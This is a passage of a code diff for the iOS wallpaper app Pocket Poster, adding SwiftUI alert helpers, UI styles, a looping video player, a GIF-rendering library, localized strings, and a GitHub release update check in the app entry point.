func reorder(by preferredOrder: [Element.OrderElement]) -> [Element] {
sorted {
guard let first = preferredOrder.firstIndex(of: $0.orderElement) else {
return false
}
guard let second = preferredOrder.firstIndex(of: $1.orderElement) else {
return true
}
return first < second
}
}
}
@@ -0,0 +1,14 @@
//
// URLCache+imageCache.swift
// Cowabunga
//
// Created by sourcelocation on 02/02/2023.
//
import CachedAsyncImage
import Foundation
extension URLCache {
static let imageCache = URLCache(memoryCapacity: 512*1000*1000, diskCapacity: 10*1000*1000*1000)
}
@@ -0,0 +1,118 @@
//
// Alert++.swift
// Cowabunga
//
// Created by sourcelocation on 30/01/2023.
//
import UIKit
// credit: sourcelocation & TrollTools
var currentUIAlertController: UIAlertController?
var lastDismissTitle: String?
fileprivate let errorString = NSLocalizedString("Error", comment: "")
fileprivate let okString = NSLocalizedString("OK", comment: "")
fileprivate let cancelString = NSLocalizedString("Cancel", comment: "")
extension UIApplication {
func dismissAlert(animated: Bool, completion: (() -> Void)? = nil) {
DispatchQueue.main.async {
lastDismissTitle = currentUIAlertController?.title
if let alert = currentUIAlertController {
// Always clear pointer first so a follow-up present() won't chain on a dying VC
currentUIAlertController = nil
alert.dismiss(animated: animated) {
completion?()
}
} else {
// Also dismiss any orphaned presented alert
if let top = Self.topViewController(), top is UIAlertController {
top.dismiss(animated: animated) {
completion?()
}
} else {
completion?()
}
}
}
}
func alert(title: String = errorString, body: String, animated: Bool = true, withButton: Bool = true) {
// Dismiss any existing alert first so we never stack a buttonless spinner under a new sheet
dismissAlert(animated: false) {
DispatchQueue.main.async {
var body = body
if title == errorString {
// append debug info
let device = UIDevice.current
let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? ""
let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
let systemVersion = device.systemVersion
body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)"
}
let controller = UIAlertController(title: title, message: body, preferredStyle: .alert)
// Always allow dismiss for non-progress alerts; progress uses withButton: false intentionally
if withButton {
controller.addAction(.init(title: okString, style: .cancel))
}
currentUIAlertController = controller
self.present(alert: controller)
}
}
}
func confirmAlert(title: String = errorString, body: String, confirmTitle: String = okString, onOK: @escaping () -> (), noCancel: Bool) {
dismissAlert(animated: false) {
DispatchQueue.main.async {
let controller = UIAlertController(title: title, message: body, preferredStyle: .alert)
if !noCancel {
controller.addAction(.init(title: cancelString, style: .cancel))
}
controller.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in
onOK()
}))
currentUIAlertController = controller
self.present(alert: controller)
}
}
}
func change(title: String = errorString, body: String) {
DispatchQueue.main.async {
currentUIAlertController?.title = title
currentUIAlertController?.message = body
}
}
/// Top-most VC in the key window (skips being-dismissed alerts when possible).
static func topViewController() -> UIViewController? {
let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
let window = scenes
.flatMap { $0.windows }
.first { $0.isKeyWindow } ?? scenes.first?.windows.first
guard var top = window?.rootViewController else { return nil }
while let presented = top.presentedViewController {
// Prefer not to stop on a controller that is mid-dismiss
if presented.isBeingDismissed { break }
top = presented
}
return top
}
func present(alert: UIAlertController) {
guard let topController = Self.topViewController() else { return }
// If top is already an alert being shown, replace it
if let existing = topController as? UIAlertController {
existing.dismiss(animated: false) {
Self.topViewController()?.present(alert, animated: true)
}
return
}
topController.present(alert, animated: true)
}
}
@@ -0,0 +1,39 @@
//
// OpaqueButton.swift
// Pocket Poster
//
// Created by lemin on 6/21/25.
//
import SwiftUI
struct OpaqueButton: ButtonStyle {
var color: Color
var textColor: Color
var fullwidth: Bool = false
func makeBody(configuration: Configuration) -> some View {
ZStack {
if fullwidth {
configuration.label
.padding(15)
.frame(maxWidth: .infinity)
.background(color)
.cornerRadius(8)
.foregroundColor(textColor)
} else {
configuration.label
.padding(15)
.background(color)
.cornerRadius(8)
.foregroundColor(textColor)
}
}
}
init(color: Color = .blue, textColor: Color = .primary, fullwidth: Bool = false) {
self.color = color
self.textColor = textColor
self.fullwidth = fullwidth
}
}
@@ -0,0 +1,25 @@
//
// CornerRadius++.swift
// Cowabunga
//
// Created by sourcelocation on 30/01/2023.
//
import SwiftUI
extension View {
func cornerRadius(_ radius: CGFloat, corners: UIRectCorner) -> some View {
clipShape( RoundedCorner(radius: radius, corners: corners) )
}
}
struct RoundedCorner: Shape {
var radius: CGFloat = .infinity
var corners: UIRectCorner = .allCorners
func path(in rect: CGRect) -> Path {
let path = UIBezierPath(roundedRect: rect, byRoundingCorners: corners, cornerRadii: CGSize(width: radius, height: radius))
return Path(path.cgPath)
}
}
@@ -0,0 +1,41 @@
//
// LoopingPlayerUIView.swift
// Pocket Poster
//
// Created by lemin on 6/11/25.
//
import UIKit
import AVFoundation
class LoopingPlayerUIView: UIView {
private var playerLayer = AVPlayerLayer()
private var playerLooper: AVPlayerLooper?
private var player = AVQueuePlayer()
init(videoURL: URL){
let asset = AVAsset(url: videoURL)
let item = AVPlayerItem(asset: asset)
super.init(frame: .zero)
// Setup the player
playerLayer.player = player
playerLayer.videoGravity = .resizeAspectFill
layer.addSublayer(playerLayer)
// Create a new player looper with the queue player and template item
playerLooper = AVPlayerLooper(player: player, templateItem: item)
player.play()
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
override func layoutSubviews() {
super.layoutSubviews()
playerLayer.frame = bounds
}
}
@@ -0,0 +1,23 @@
//
// PlayerView.swift
// Pocket Poster
//
// Created by lemin on 6/11/25.
//
import SwiftUI
struct PlayerView: UIViewRepresentable {
var videoURL: URL
init(videoURL: URL) {
self.videoURL = videoURL
}
func updateUIView(_ uiView: UIView, context: UIViewRepresentableContext<PlayerView>) {
}
func makeUIView(context: Context) -> UIView {
return LoopingPlayerUIView(videoURL: videoURL)
}
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,169 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 06/04/2022.
//
import SwiftUI
public extension GIFImage {
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item.
///
/// - Parameters:
/// - url: URL string of the image. If the string cannot be parsed into URL, this constructor early aborts and returns `nil`
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
/// - placeholder: Image to be used before the source is loaded
/// - errorImage: If the stream fails, this image is used
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
init?(
url: String,
animate: Bool,
loop: Bool,
placeholder: RawImage = RawImage(),
errorImage: RawImage? = nil,
frameRate: FrameRate = .dynamic,
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
self.init(
url: url,
animate: .constant(animate),
loop: .constant(loop),
placeholder: placeholder,
errorImage: errorImage,
frameRate: frameRate,
loopAction: loopAction
)
}
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item.
///
/// - Parameters:
/// - url: URL string of the image. If the string cannot be parsed into URL, this constructor early aborts and returns `nil`
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
/// - placeholder: Image to be used before the source is loaded
/// - errorImage: If the stream fails, this image is used
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
init?(
url: String,
animate: Binding<Bool> = Binding.constant(true),
loop: Binding<Bool> = Binding.constant(true),
placeholder: RawImage = RawImage(),
errorImage: RawImage? = nil,
frameRate: FrameRate = .dynamic,
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
guard let resolvedURL = URL(string: url) else {
return nil
}
self.init(
source: GIFSource.remoteURL(resolvedURL),
animate: animate,
loop: loop,
placeholder: placeholder,
errorImage: errorImage,
frameRate: frameRate,
loopAction: loopAction
)
}
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item.
///
/// - Parameters:
/// - url: URL of the image. The response is cached using `URLCache`
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
/// - placeholder: Image to be used before the source is loaded
/// - errorImage: If the stream fails, this image is used
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
init(
url: URL,
animate: Bool = true,
loop: Bool = true,
placeholder: RawImage = RawImage(),
errorImage: RawImage? = nil,
frameRate: FrameRate = .dynamic,
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
self.init(
url: url,
animate: .constant(animate),
loop: .constant(loop),
placeholder: placeholder,
errorImage: errorImage,
frameRate: frameRate,
loopAction: loopAction
)
}
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item.
///
/// - Parameters:
/// - url: URL of the image. The response is cached using `URLCache`
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
/// - placeholder: Image to be used before the source is loaded
/// - errorImage: If the stream fails, this image is used
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
init(
url: URL,
animate: Binding<Bool> = Binding.constant(true),
loop: Binding<Bool> = Binding.constant(true),
placeholder: RawImage = RawImage(),
errorImage: RawImage? = nil,
frameRate: FrameRate = .dynamic,
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
self.init(
source: GIFSource.remoteURL(url),
animate: animate,
loop: loop,
placeholder: placeholder,
errorImage: errorImage,
frameRate: frameRate,
loopAction: loopAction
)
}
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item.
///
/// - Parameters:
/// - request: `URLRequest` of the image. The response is cached using `URLCache`
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
/// - placeholder: Image to be used before the source is loaded
/// - errorImage: If the stream fails, this image is used
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
init(
request: URLRequest,
animate: Binding<Bool> = Binding.constant(true),
loop: Binding<Bool> = Binding.constant(true),
placeholder: RawImage = RawImage(),
errorImage: RawImage? = nil,
frameRate: FrameRate = .dynamic,
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
self.init(
source: GIFSource.remoteRequest(request),
animate: animate,
loop: loop,
placeholder: placeholder,
errorImage: errorImage,
frameRate: frameRate,
loopAction: loopAction
)
}
}
@@ -0,0 +1,137 @@
import SwiftUI
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item. The view will use the `ImageLoader` from the environment
/// to convert the fetch the `Data`
public struct GIFImage: View {
public let source: GIFSource
public let placeholder: RawImage
public let errorImage: RawImage?
private let presentationController: PresentationController
@Environment(\.imageLoader) var imageLoader
@State @MainActor private var frame: RawImage?
@Binding public var loop: Bool
@Binding public var animate: Bool
@State private var presentationTask: Task<(), Never>?
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item.
///
/// - Parameters:
/// - source: Source of the image. If the source is remote, the response is cached using `URLCache`
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
/// - placeholder: Image to be used before the source is loaded
/// - errorImage: If the stream fails, this image is used
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
public init(
source: GIFSource,
animate: Bool,
loop: Bool,
placeholder: RawImage = RawImage(),
errorImage: RawImage? = nil,
frameRate: FrameRate = .dynamic,
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
self.init(
source: source,
animate: .constant(animate),
loop: .constant(loop),
placeholder: placeholder,
errorImage: errorImage,
frameRate: frameRate,
loopAction: loopAction
)
}
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item.
///
/// - Parameters:
/// - source: Source of the image. If the source is remote, the response is cached using `URLCache`
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
/// - placeholder: Image to be used before the source is loaded
/// - errorImage: If the stream fails, this image is used
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
public init(
source: GIFSource,
animate: Binding<Bool> = Binding.constant(true),
loop: Binding<Bool> = Binding.constant(true),
placeholder: RawImage = RawImage(),
errorImage: RawImage? = nil,
frameRate: FrameRate = .dynamic,
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
self.source = source
self._animate = animate
self._loop = loop
self.placeholder = placeholder
self.errorImage = errorImage
self.presentationController = PresentationController(
source: source,
frameRate: frameRate,
animate: animate,
loop: loop,
action: loopAction
)
}
public var body: some View {
Image.loadImage(with: frame ?? placeholder)
.resizable()
.scaledToFit()
.onChange(of: loop) { newValue in
handle(loop: newValue)
}
.onChange(of: animate) { newValue in
handle(animate: newValue)
}
.task(id: source, load)
}
private func handle(animate: Bool) {
if animate {
load()
} else {
presentationTask?.cancel()
}
}
private func handle(loop: Bool) {
if loop { load() }
}
@Sendable private func load() {
presentationTask?.cancel()
presentationTask = Task { await presentationController.start(
imageLoader: imageLoader,
fallbackImage: errorImage ?? placeholder,
frameUpdate: setFrame(_:)
)}
}
@MainActor
@Sendable private func setFrame(_ frame: RawImage) async {
self.frame = frame
}
}
#if DEBUG
let placeholder = RawImage.create(symbol: "photo.circle.fill")!
let error = RawImage.create(symbol: "xmark.octagon")
let gifURL = "https://raw.githubusercontent.com/igorcferreira/GIFImage/main/Tests/test.gif"
#Preview("Raw URL") {
GIFImage(url: gifURL, placeholder: placeholder, errorImage: error)
}
#Preview("Limited 5 FPS") {
GIFImage(url: gifURL, placeholder: placeholder, errorImage: error, frameRate: .limited(fps: 5))
}
#Preview("Limited to 30 FPS") {
GIFImage(url: gifURL, placeholder: placeholder, errorImage: error, frameRate: .static(fps: 30))
}
#endif
@@ -0,0 +1,46 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import Foundation
import ImageIO
public actor CGImageSourceFrameSequence: AsyncSequence {
public typealias Element = ImageFrame
public enum LoadError: Error {
case invalidData
case emptyData
}
public let source: CGImageSource
public init(data: Data) throws {
guard let source = CGImageSourceCreateWithData(data as CFData, nil) else {
throw LoadError.invalidData
}
switch CGImageSourceGetStatus(source) {
case .statusComplete: break
case .statusReadingHeader: break
case .statusIncomplete: throw LoadError.emptyData
case .statusInvalidData: throw LoadError.invalidData
case .statusUnexpectedEOF: throw LoadError.invalidData
case .statusUnknownType: throw LoadError.invalidData
@unknown default: throw LoadError.invalidData
}
self.init(source: source)
}
public init(source: CGImageSource) {
self.source = source
}
nonisolated public func makeAsyncIterator() -> CGImageSourceIterator {
CGImageSourceIterator(source: source)
}
}
@@ -0,0 +1,36 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import Foundation
import ImageIO
public actor CGImageSourceIterator: AsyncIteratorProtocol {
public let frameCount: Int
public let source: CGImageSource
public private(set) var currentFrame: Int
public init(source: CGImageSource) {
self.source = source
self.frameCount = CGImageSourceGetCount(source)
self.currentFrame = 0
}
public func next() async throws -> ImageFrame? {
guard currentFrame < frameCount else {
return nil
}
let frame: ImageFrame? = if let image = CGImageSourceCreateImageAtIndex(source, currentFrame, nil) {
ImageFrame(image: image, interval: source.intervalAtIndex(currentFrame))
} else {
nil
}
currentFrame += 1
return frame
}
}
@@ -0,0 +1,80 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import Foundation
/// Object responsible to load a `GIFSource` into a `ImageFrame` stream.
public struct ImageLoader {
public let session: URLSession
public let cache: URLCache
public let fileManager: FileManager
public init(session: URLSession = .shared, cache: URLCache = .shared, fileManager: FileManager = .default) {
self.session = session
self.cache = cache
self.fileManager = fileManager
}
public func load(source: GIFSource) async throws -> CGImageSourceFrameSequence {
let data = try await source.loadData(session: session, cache: cache, fileManager: fileManager)
return try data.imageAsyncSequence()
}
}
private extension GIFSource {
func loadData(session: URLSession, cache: URLCache, fileManager: FileManager) async throws -> Data {
switch self {
case let .static(data): data
case .remote(let url), .remoteURL(let url): try await url.loadData(session: session, cache: cache)
case let .remoteRequest(request): try await request.loadData(session: session, cache: cache)
case let .local(filePath): try await filePath.loadData(fileManager: fileManager)
}
}
}
private extension String {
func loadData(fileManager: FileManager) async throws -> Data {
guard fileManager.fileExists(atPath: self) else {
throw URLError(.fileDoesNotExist)
}
guard let data = fileManager.contents(atPath: self) else {
throw URLError(.cannotOpenFile)
}
return data
}
}
private extension URL {
func loadData(session: URLSession, cache: URLCache) async throws -> Data {
let request = URLRequest(url: self)
return try await request.loadData(session: session, cache: cache)
}
}
private extension URLRequest {
func loadData(session: URLSession, cache: URLCache) async throws -> Data {
if let cache = cache.cachedResponse(for: self) {
return cache.data
}
let (data, response) = try await session.data(for: self)
guard let httpResponse = response as? HTTPURLResponse else {
throw URLError(.badServerResponse)
}
guard httpResponse.isSuccess else {
throw URLError(.init(rawValue: httpResponse.statusCode))
}
cache.storeCachedResponse(CachedURLResponse(response: response, data: data), for: self)
return data
}
}
private extension HTTPURLResponse {
var isSuccess: Bool {
200..<300 ~= statusCode
}
}
@@ -0,0 +1,65 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 9/9/22.
//
import Foundation
import SwiftUI
private let kDefaultGIFFrameInterval: TimeInterval = 1.0 / 24.0
struct PresentationController {
let source: GIFSource
let frameRate: FrameRate
let action: (GIFSource) async throws -> Void
@Binding var animate: Bool
@Binding var loop: Bool
init(
source: GIFSource,
frameRate: FrameRate,
animate: Binding<Bool>,
loop: Binding<Bool>,
action: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
self.source = source
self.action = action
self.frameRate = frameRate
self._animate = animate
self._loop = loop
}
func start(imageLoader: ImageLoader, fallbackImage: RawImage, frameUpdate: (RawImage) async -> Void) async {
do {
repeat {
for try await imageFrame in try await imageLoader.load(source: source) {
try await update(imageFrame, frameUpdate: frameUpdate)
if !animate { break }
}
try await action(source)
} while(self.loop && self.animate)
} catch {
if !(error is CancellationError) {
await frameUpdate(fallbackImage)
}
}
}
private func update(_ imageFrame: ImageFrame, frameUpdate: (RawImage) async -> Void) async throws {
await frameUpdate(RawImage.create(with: imageFrame.image))
let calculatedInterval = imageFrame.interval ?? kDefaultGIFFrameInterval
let interval: Double
switch frameRate {
case .static(let fps):
interval = (1.0 / Double(fps))
case .limited(let fps):
let intervalLimit = (1.0 / Double(fps))
interval = max(calculatedInterval, intervalLimit)
case .dynamic:
interval = imageFrame.interval ?? kDefaultGIFFrameInterval
}
try await Task.sleep(nanoseconds: UInt64(interval * 1_000_000_000.0))
}
}
@@ -0,0 +1,15 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import Foundation
import ImageIO
extension CFString {
var asKey: UnsafeMutableRawPointer {
return Unmanaged.passUnretained(self).toOpaque()
}
}
@@ -0,0 +1,39 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import Foundation
import ImageIO
extension CGImageSource {
func intervalAtIndex(_ index: Int) -> TimeInterval? {
guard let properties = CGImageSourceCopyPropertiesAtIndex(self, index, nil) else {
return nil
}
guard let gifProperties = CFDictionaryGetValue(properties, kCGImagePropertyGIFDictionary.asKey) else {
return nil
}
let dictionary = unsafeBitCast(gifProperties, to: CFDictionary.self)
let pointer: UnsafeRawPointer
if let delay = CFDictionaryGetValue(dictionary, kCGImagePropertyGIFDelayTime.asKey) {
pointer = delay
} else if let unclampedDelay = CFDictionaryGetValue(dictionary, kCGImagePropertyGIFUnclampedDelayTime.asKey) {
pointer = unclampedDelay
} else {
return nil
}
let interval = unsafeBitCast(pointer, to: AnyObject.self).doubleValue ?? 0.0
if interval > 0.0 {
return interval
} else {
return nil
}
}
}
@@ -0,0 +1,15 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import Foundation
import ImageIO
extension Data {
func imageAsyncSequence() throws -> CGImageSourceFrameSequence {
return try CGImageSourceFrameSequence(data: self)
}
}
@@ -0,0 +1,28 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import SwiftUI
struct GIFImageEnvironment: EnvironmentKey {
static var defaultValue: ImageLoader = {
return ImageLoader()
}()
}
extension EnvironmentValues {
var imageLoader: ImageLoader {
get { self[GIFImageEnvironment.self] }
set { self[GIFImageEnvironment.self] = newValue }
}
}
extension View {
@ViewBuilder
func with(imageLoader: ImageLoader) -> some View {
environment(\.imageLoader, imageLoader)
}
}
@@ -0,0 +1,14 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 06/04/2022.
//
import Foundation
public enum FrameRate {
case dynamic
case limited(fps: Int)
case `static`(fps: Int)
}
@@ -0,0 +1,17 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 29/10/2020.
//
import Foundation
public enum GIFSource: Equatable {
@available(*, deprecated, renamed: "remoteURL(_:)")
case remote(url: URL)
case remoteURL(_ url: URL)
case remoteRequest(_ request: URLRequest)
case local(filePath: String)
case `static`(data: Data)
}
@@ -0,0 +1,14 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 29/10/2020.
//
import ImageIO
import Foundation
public struct ImageFrame {
public let image: CGImage
public let interval: TimeInterval?
}
@@ -0,0 +1,44 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import ImageIO
import SwiftUI
#if os(macOS)
import AppKit
public typealias RawImage = NSImage
#else
import UIKit
public typealias RawImage = UIImage
#endif
public extension RawImage {
static func create(with cgImage: CGImage) -> RawImage {
#if os(macOS)
return RawImage(cgImage: cgImage, size: NSSize(width: cgImage.width, height: cgImage.height))
#else
return RawImage(cgImage: cgImage)
#endif
}
static func create(symbol: String) -> RawImage? {
#if os(macOS)
return RawImage(systemSymbolName: symbol, accessibilityDescription: nil)
#else
return RawImage(systemName: symbol)
#endif
}
}
public extension Image {
static func loadImage(with image: RawImage) -> Image {
#if os(macOS)
return Image(nsImage: image)
#else
return Image(uiImage: image)
#endif
}
}
@@ -0,0 +1,322 @@
{
"sourceLanguage" : "en",
"strings" : {
"CFBundleName" : {
"comment" : "Bundle name",
"extractionState" : "extracted_with_value",
"localizations" : {
"ar" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"ar-AE" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster Ar"
}
},
"ar-SA" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"bg" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"cs" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"de" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"en" : {
"stringUnit" : {
"state" : "new",
"value" : "Pocket Poster"
}
},
"es" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"es-MX" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"fr" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"fr-BE" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"fr-CA" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"fr-CH" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"fr-LU" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"hu" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"it" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"ja" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"ko" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"nl" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"pl" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"ru" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"th" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"tr" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"vi" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"zh-CN" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"zh-Hant" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
}
}
},
"Nugget Wallpaper" : {
"localizations" : {
"ar" : {
"stringUnit" : {
"state" : "translated",
"value" : "خلفيات Nugget"
}
},
"ar-AE" : {
"stringUnit" : {
"state" : "translated",
"value" : "خلفيات Nugget"
}
},
"ar-SA" : {
"stringUnit" : {
"state" : "translated",
"value" : "خلفيات Nugget"
}
},
"bg" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Wallpaper"
}
},
"cs" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Tapeta"
}
},
"de" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Hintergrundbilder"
}
},
"es" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Wallpaper"
}
},
"es-MX" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Wallpaper"
}
},
"fr" : {
"stringUnit" : {
"state" : "translated",
"value" : "Fond d'écran Nugget"
}
},
"fr-BE" : {
"stringUnit" : {
"state" : "translated",
"value" : "Fond écran nugget"
}
},
"fr-CA" : {
"stringUnit" : {
"state" : "translated",
"value" : "Fond d'écran Nugget"
}
},
"fr-CH" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Wallpaper"
}
},
"fr-LU" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Wallpaper"
}
},
"hu" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Háttérkép"
}
},
"it" : {
"stringUnit" : {
"state" : "translated",
"value" : "Sfondo di Nugget"
}
},
"ja" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Wallpaper"
}
},
"ko" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget 배경화면"
}
},
"nl" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Achtergrond"
}
},
"pl" : {
"stringUnit" : {
"state" : "translated",
"value" : "Tapeta Nugget"
}
},
"ru" : {
"stringUnit" : {
"state" : "translated",
"value" : "Обои Nugget"
}
},
"th" : {
"stringUnit" : {
"state" : "translated",
"value" : "วอลเปเปอร์ Nugget"
}
},
"tr" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Duvar Kağıdı"
}
},
"vi" : {
"stringUnit" : {
"state" : "translated",
"value" : "Hình nền Nugget"
}
},
"zh-CN" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget 墙纸"
}
},
"zh-Hant" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget 壁紙"
}
}
}
}
},
"version" : "1.0"
}
+39 -39
View File
@@ -10,63 +10,70 @@ import SwiftUI
@main
struct Pocket_PosterApp: App {
// Prefs
@ObservedObject var dlManager = DownloadManager.shared
@AppStorage("finishedTutorial") var finishedTutorial: Bool = false
@AppStorage("pbHash") var pbHash: String = ""
@State var selectedTendies: [URL] = []
@State var downloadURL: String? = nil
@State var showDownloadAlert = false
@State var checkedForUpdate: Bool = false
var body: some Scene {
WindowGroup {
Group {
if finishedTutorial {
ContentView(selectedTendies: $selectedTendies)
RootView()
} else {
OnBoardingView(cards: onBoardingCards, isFinished: $finishedTutorial)
}
}
.transition(.opacity)
.animation(.easeOut(duration: 0.5), value: finishedTutorial)
.alert("Download Tendies File", isPresented: $showDownloadAlert) {
Button("OK") {
downloadWallpaper()
.onAppear {
// check for update
if !checkedForUpdate {
checkedForUpdate = true
if let version = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String, let url = URL(string: "https://api.github.com/repos/leminlimez/Pocket-Poster/releases/latest") {
let task = URLSession.shared.dataTask(with: url) {(data, response, error) in
guard let data = data else { return }
if let json = try? JSONSerialization.jsonObject(with: data, options: .mutableContainers) as? [String: Any] {
if (json["tag_name"] as? String)?.replacingOccurrences(of: "v", with: "").compare(version, options: .numeric) == .orderedDescending {
UIApplication.shared.confirmAlert(
title: NSLocalizedString("Update Available", comment: "app update available on GitHub"),
body: String(format: NSLocalizedString("Pocket Poster %@ is available, do you want to visit releases page?", comment: "app update available on GitHub"), json["tag_name"] as? String ?? "update"),
onOK: {
UIApplication.shared.open(URL(string: "https://github.com/leminlimez/Pocket-Poster/releases/latest")!)
}, noCancel: false)
}
}
}
task.resume()
}
}
Button("Cancel", role: .cancel) {}
} message: {
